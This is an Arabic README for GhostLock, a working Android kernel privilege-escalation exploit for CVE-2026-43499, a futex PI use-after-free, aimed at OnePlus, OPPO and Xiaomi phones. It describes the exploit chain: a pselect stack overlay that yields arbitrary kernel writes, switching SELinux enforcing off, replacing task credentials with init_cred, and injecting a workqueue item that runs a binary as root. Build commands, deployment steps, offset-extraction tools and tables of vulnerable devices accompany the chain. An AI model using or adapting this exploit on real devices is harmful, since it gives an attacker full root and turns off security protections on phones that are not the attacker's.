
محوّل GhostLock (CVE-2026-43499) لنواة أندرويد 4.19.152-perf+
استغلال نواة (kernel exploit) لأجهزة OnePlus/OPPO/realme ذات محمل إقلاع مقفل. يحقق تثبيت root + KernelSU دون فتح قفل محمل الإقلاع أو تعديل صورة الإقلاع. كشف تلقائي لإصدار النواة في وقت التشغيل مع جدول إزاحات متعدد الأجهزة.
CVE-2026-43499 — Futex PI (توريث الأولوية) استخدام بعد التحرير (Use-After-Free)
يؤثر على نواة لينكس 2.6.39 ~ 7.1. تم إصلاحه في الفرع الرئيسي (mainline) 7.1 (commit 3bfdc63936dd). لا يزال Android GKI 6.12.x عرضة للخطر.
ينسخ استدعاء النظام pselect6 بيانات fd_set إلى مكدس النواة. عند دمجه مع آلية انتظار futex PI، يمكن استعادة إطار مكدس مُحرر كبنية rt_mutex_waiter. ثم تكتب إعادة توازن شجرة rb أثناء اجتياز سلسلة PI قيمًا مُتحكمًا بها إلى عناوين نواة عشوائية.
| الجهاز | SoC | النواة | ملاحظات |
|---|---|---|---|
| OnePlus 15T (PLZ110) | SM8845 | 6.12.38-...-ab14552068 | نفس نواة Ace 6T. تم التحقق عبر QEMU بفرق SP=-64. |
يعمل تراكب pselect على المكدس فقط عندما يقع rt_mutex_waiter المُحرر داخل المنطقة القابلة للتحكم من المستخدم في مخزن stack_fds. يُحدد مكان وقوع الويتر بواسطة مخرجات المترجم (PGO + LTO)، وليس إصدار النواة. راجع تخطيط المكدس للتفاصيل.
مساران للوصول إلى root، يتم اختيارهما تلقائيًا بناءً على قدرات الجهاز:
يتطلب off_ashmem_misc_fops != 0 (C ashmem مع miscdevice ثابت في BSS).
PI write (mode=4) → redirect miscdevice fops to fake fops (via W0 pi_tree)
configfs r/w established
→ pipe physrw (1-byte precise kernel r/w)
→ SELinux enforcing = 0 (single byte, no policycap corruption)
→ UMH: inject work_struct into system_unbound_wq
kernel executes /data/local/tmp/a/e --umh as UID 0
→ root script → ksud late-load → KSU installed
المزايا على المسار B:
selinux_state.policycap (يصلح مشاكل الشبكة على OnePlus 13)متاح حاليًا على: OnePlus 13 (kernel 6.6، C ashmem). غير متاح على أجهزة Rust ashmem (6.12 GKI) — يُخصص miscdevice في الكومة (heap)، والعنوان غير قابل للتنبؤ وقت الترجمة.
يُستخدم عندما تكون إزاحات UMH أو misc_fops الخاصة بـ C ashmem غير متاحة.
Write 1 (mode=1) → SELinux enforcing = 0
(low byte of kernel ptr = 0x00, 8-byte write)
Write 2 (mode=2) → task->cred = init_cred
(uid=0, all capabilities)
Root shell → ksud late-load (KernelSU LKM)
→ su -c load_policy (fix SELinux policycap)
→ dynamic manager registration
App (seccomp) → Write 1 (no perf needed)
→ mini-adb connect TCP (port from /data/local/tmp/a/adb_port, default 5555)
→ adb shell: full exploit (perf works, no seccomp)
→ root → KSU → network fix
BOOT_COMPLETED → BootCompletedReceiver
├─ su available → skip (soft reboot / already rooted)
└─ no root → GhostlockService → setsid exploit --bootstrap
مع NFDS=320، تخصص دالة النواة core_sys_select مخزنًا بحجم 256 بايت باسم stack_fds:
stack_fds: 0 5 10 14 | 15 20 25 29
├─in─┤─out─┤─ex──┤ ├res_in┤res_out┤res_ex┤
◄── USER CONTROLLED ──►│◄── KERNEL ZEROED ──►
يكتب الاستغلال حقول الويتر المزيفة (task, lock) في خرائط البت المدخلة لـ fd_set. لكي يعمل هذا، يجب أن يقع حقلا task وlock الخاصان بالويتر في المنطقة القابلة للتحكم (الكلمات 0-14).
Ace 6T ✅ (waiter at word 2):
░░████████████████░░│░░░░░░░░░░░░░░░░░░
▲waiter t l │
task/lock controllable
RMX5070 ❌ (waiter at word 13):
░░░░░░░░░░░░░████│██████████████░░░░░░
▲ │ t l
waiter task/lock ZEROED
قاعدة الجدوى: يجب أن تكون كلمة الويتر + 11 (إزاحة lock في rt_waiter_node) ≤ 14. أقصى كلمة ويتر مجدية هي 3.
يُحدد موضع الويتر بواسطة تخطيط إطار المكدس في المترجم (ملفات تحسين PGO + LTO + BOLT)، والذي يختلف حسب فرع SoC. قد يكون لإصدار النواة نفسه تخطيطات مختلفة على SoCs مختلفة.
تمر جميع عمليات الكتابة إلى النواة عبر اسم مستعار للخريطة الخطية للصورة:
data_addr(x) = PAGE_OFFSET + (kernel_phys_load - PHYS_OFFSET) + (x - KIMAGE_TEXT_BASE)
يختار محمل الإقلاع kernel_phys_load، لذلك يختلف حسب SoC وليس موجودًا في boot.img أو DT. حقل خاص بكل جهاز في struct kernel_offsets؛ 0 = استخدام الافتراضي في target.h.
| SoC | kernel_phys_load |
|---|---|
| SM8845 (Ace 6T, 15T) | 0xa8000000 |
| SM8750 (OnePlus 13, OPPO Pad 4 Pro) | 0xa8000000 |
| SM8850 (OnePlus 15, Xiaomi 17) | 0xc7800000 |
القيمة الخاطئة تفشل بصمت — فلا تزال الكتابة تصل إلى ذاكرة RAM المعينة، لذلك لا يحدث انهيار ولا تأثير. لا تخلط بينها وبين مشكلة PSELECT_SHIFT. اقرأها من جهاز مخترق (rooted) من نفس الطراز (يبدأ Kernel code عند _stext؛ ويكون _text أقل بـ 0x10000):
su -c 'grep -i "Kernel code" /proc/iomem' # c7810000-... -> 0xc7800000
تضع النوى المختلفة الويتر في مواضع مختلفة داخل المنطقة القابلة للتحكم. استخدم PSELECT_SHIFT للضبط:
# Default (Ace 6T + OnePlus 15, 6.12): shift=0
/data/local/tmp/a/e
# OnePlus 13 (6.6): shift=-2
PSELECT_SHIFT=-2 /data/local/tmp/a/e
# Override kernel_phys_load for new SoCs (when /proc/iomem is not accessible):
KPHYS=0xc7800000 /data/local/tmp/a/e
كلمة الويتر من check_feasibility.py غير موثوقة: حساب الإطارات لديه صحيح، لكن إزاحات البنى التي يستنتجها من تخزينات الصفر ليست كذلك (على OnePlus 15 يعطي كلمة 3؛ بينما القياس الفعلي هو كلمة 2). الإزاحة الخاطئة تكلف انهيار نواة (kernel panic) لكل تخمين، لذا قِسها على جهاز مخترق بدلاً من ذلك:
echo 'p:ds do_select fdsin=+0(%x1)' >> /sys/kernel/tracing/kprobe_events
echo 'p:rw rt_mutex_wait_proxy_lock waiter=%x2' >> /sys/kernel/tracing/kprobe_events
# trigger FUTEX_CMP_REQUEUE_PI, then:
# PSELECT_SHIFT = ((waiter & 0x3fff) - (fdsin & 0x3fff)) / 8 - 2
NDK=/path/to/android-ndk
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
-O2 -Wall -Isrc/core -Isrc/devices -DTARGET_CONFIG_H="target.h" \
src/core/main.c src/core/util.c src/core/slide.c \
src/core/fops.c src/core/pipe_physrw.c src/core/root.c \
src/core/miniadb.c src/core/umh_root.c \
-o ghostlock -fPIE -pie -pthread
يوفر GhostLock صلاحيات root فقط. يعتمد تثبيت KernelSU على ksud — وهو ملف ثنائي يحتوي على وحدات kernelsu.ko مدمجة لكل إصدار KMI. يجد سكربت الجذر ksud على الجهاز ويستدعي ksud late-load --kmi android16-6.12.
| الطريقة |
|---|
بدون ksud، يحقق الاستغلال root (uid=0) لكن لن يتم تثبيت KSU ولن يستمر
su.
# Enable ADB TCP (use any port)
adb tcpip 5555
# Push exploit binary and ADB key
adb push ghostlock /data/local/tmp/a/e && adb shell chmod 755 /data/local/tmp/a/e
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# If using a non-default ADB port (e.g. 23946):
adb shell "echo 23946 > /data/local/tmp/a/adb_port"
بعد أول عملية اختراق ناجحة، يتم تعيين persist.adb.tcp.port عبر resetprop — وتكون عمليات الإقلاع اللاحقة تلقائية بالكامل.
/data/local/tmp/a/e # Full exploit (adb shell)
/data/local/tmp/a/e --bootstrap # Phone standalone (app context)
/data/local/tmp/a/e --write1 # SELinux disable only
PSELECT_SHIFT=-2 /data/local/tmp/a/e # Override stack layout shift
مهم: شغّل خلال 30 ثانية من الإقلاع للحصول على أفضل موثوقية لتوقيت KernelSnitch.
يلزم boot.img فقط — دون الحاجة إلى root أو وصول إلى الجهاز.
# 1. Extract kernel
python -c "import struct; d=open('boot.img','rb').read(); open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Global symbols (kallsyms)
python tools/extract_target.py # 28 offsets, auto-validated
# 3. Struct fields (BTF)
python tools/extract_btf.py kernel # 57 offsets, auto-validated
# 4. Add to offsets.h, rebuild
الاستغلال الأساسي مستقل عن الجهاز. قد يتطلب التكيف:
VA_BITS (48 مقابل 39) → حدّث تخطيط الذاكرة في target.hkernel_phys_load → اقرأ من /proc/iomem أو استخدم متغير البيئة KPHYS=common.hPSELECT_SHIFT → حدّده عبر اختبار QEMU kprobeSTRUCT_OFFSETS_6_6 أو STRUCT_OFFSETS_6_12 في إدخال الجهازيتطلب مسار الجذر UMH (call_usermodehelper):
off_system_unbound_wq و off_call_usermodehelper_exec_work من kallsymsoff_ashmem_misc_fops = ashmem_misc + 0x10 (خاص بـ C ashmem فقط، miscdevice.fops في BSS)لأغراض البحث الأمني المُصرح به والأغراض التعليمية فقط.
| الجهاز | SoC | النواة | الحالة |
|---|
| OnePlus Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14275539 | يعمل |
| OnePlus Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14552068 | يعمل |
| OnePlus 15 (CPH2749) | SM8850 | 6.12.23-...-ab14541642 | يعمل |
| Xiaomi 17 (pudding) | SM8850 | 6.12.23-...-abogki463945075 | يعمل |
| Xiaomi 17 (pudding) | SM8850 | 6.12.69-...-abogki514973465 | يعمل (تحديث أغسطس 2026) |
| OnePlus 13 (IN2060) | SM8750 | 6.6.89-...-abogki446052083 | يعمل (PSELECT_SHIFT=-2) |
| OPPO Pad 4 Pro | SM8750 | 6.6.89-...-ab14358676 | يعمل (PSELECT_SHIFT=-2) |
| الجهاز | SoC | النواة | السبب |
|---|
| OPPO Find X9 Ultra | SM8750 | 6.12.58-android16-6 | PGO يزيل إطار do_futex → فرق SP=+32، كلمة الويتر=14. لا توجد إزاحة آمنة. |
| OPPO Find X7 | — | 6.1.157 | 6.1 GKI: الويتر عند الكلمة 13 (جميع أجهزة OPLUS/GKI ذات 6.1) |
| realme RMX5070 | SM6650 | 6.1.141 | 6.1 GKI: الويتر عند الكلمة 13 |
| realme RMX3852 | SM8635 | 6.1.141 | نفس فرع 6.1 الخاص بـ RMX5070 |
| OnePlus 13R / Ace 5 | SM8650 | 6.1.x | نفس فرع 6.1 |
| OnePlus 12 | SM8650 | 6.1.141 | 6.1 GKI: do_futex مضمّن عبر PGO، كلمة الويتر=13/19 |
| OPPO Pad 5 (OPD2502) | MT6878 | 6.1.134 | نفس فرع 6.1 |
| OPPO PKW110 | — | 5.15.180 | إطار do_futex 0x140 (4.5x الطبيعي) → كلمة الويتر=-29، لا يمكن الوصول إليها |
| Motorola Edge 60 Fusion | MT6878 | 6.1.145 | 6.1 GKI: الويتر عند الكلمة 13 (غير OPLUS، نفس النتيجة) |
| iQOO Z9 5G | — | 5.15.178 | إطار do_futex كبير جدًا، لا يمكن الوصول إلى الويتر. ليس جهاز OPLUS (vivo). |
| الخطوات |
|---|
| ReSukiSU APK (موصى به) | ثبّت ReSukiSU أو هذا الفورك. يتضمن الإصدار الرسمي libksud.so. |
| إصدار CI | حمّل ksud-aarch64-linux-android.zip من إصدارات ReSukiSU CI |
| المصدر | العدد | الطريقة |
|---|
| kallsyms (رموز عامة) | 28 | extract_target.py |
| BTF (حقول البنى) | 57 | extract_btf.py |
| مشتقة (نفس البنية، استخدام مختلف) | 9 | تلقائية |
| ثوابت (قيم ثابتة) | 12 | لا حاجة للاستخراج |
| الملف | الوصف |
|---|
src/core/main.c | نقطة دخول الاستغلال، الكتابة 1/2، مسار UMH، وضع التمهيد الذاتي، سكربت الجذر |
src/core/fops.c | مسار pselect، آلية كتابة PI، مرحلة CFI |
src/core/util.c | رش الكومة (heap spray)، kernelsnitch، تصريف slab، إعداد الحمولة |
src/core/pipe_physrw.c | قراءة/كتابة الذاكرة الفعلية عبر مخازن الأنابيب (يرقّي قراءة/كتابة configfs) |
src/core/umh_root.c | جذر UMH عبر حقن workqueue + معالج --umh |
src/core/miniadb.c | عميل ADB مصغر (TCP + مصادقة RSA) |
src/core/common.h | معاملات التوقيت، وحدات الماكرو |
src/core/target.h | تخطيط الذاكرة، القيم الافتراضية لحقول البنى (6.12) |
src/core/runtime_struct_offsets.h | تجاوز حقول البنى حسب الجهاز (6.6 مقابل 6.12) |
src/devices/offsets.h | يجمع جميع جداول إزاحات الأجهزة + وحدات ماكرو STRUCT_OFFSETS_* |
src/devices/<device>/offsets.h | إدخالات إزاحات النواة لكل جهاز |
src/core/slide.c | تسريب عنوان نواة SLIDE |
src/core/root.c | إعداد قشرة root (تصحيح cred مباشر عبر pipe physrw) |
tools/extract_target.py | استخراج الإزاحات من kallsyms |
tools/extract_btf.py | استخراج إزاحات البنى من BTF |
tools/check_feasibility.py | مدقق جدوى تخطيط المكدس |